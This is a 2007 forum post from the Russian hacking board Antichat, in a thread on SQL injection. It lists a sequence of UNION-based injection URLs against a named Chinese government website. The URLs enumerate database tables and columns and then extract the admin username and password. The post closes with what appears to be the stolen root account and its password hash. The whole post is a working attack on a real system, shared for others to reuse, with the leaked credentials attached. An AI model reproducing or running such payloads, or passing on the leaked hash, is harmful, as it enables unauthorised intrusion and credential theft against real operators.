Форум АНТИЧАТ - Показать сообщение отдельно

Тема: SQL Инъекции

Показать сообщение отдельно

#2285

26.05.2007, 09:11

V.I.P

Познающий

Регистрация: 06.04.2007

Сообщений: 77

Провел на форуме:
1062869

Репутация: 136

http://www.lzsafety.gov.cn/news-print.php?id='

PHP код:


		
			
http://www.lzsafety.gov.cn/news-print.php?id='+union+select+table_name,2,3,4+from+information_schema.tables+limit+107,1/*

PHP код:


		
			
http://www.lzsafety.gov.cn/news-print.php?id='+union+select+column_name,2,3,4+from+information_schema.columns/*

PHP код:


		
			
http://www.lzsafety.gov.cn/news-print.php?id='+union+select+concat(user,char(58),pass),2,3,4+from+admin/*

root:*FA450863BE8C1DF3DCCE22B20EB630A7A55CCA39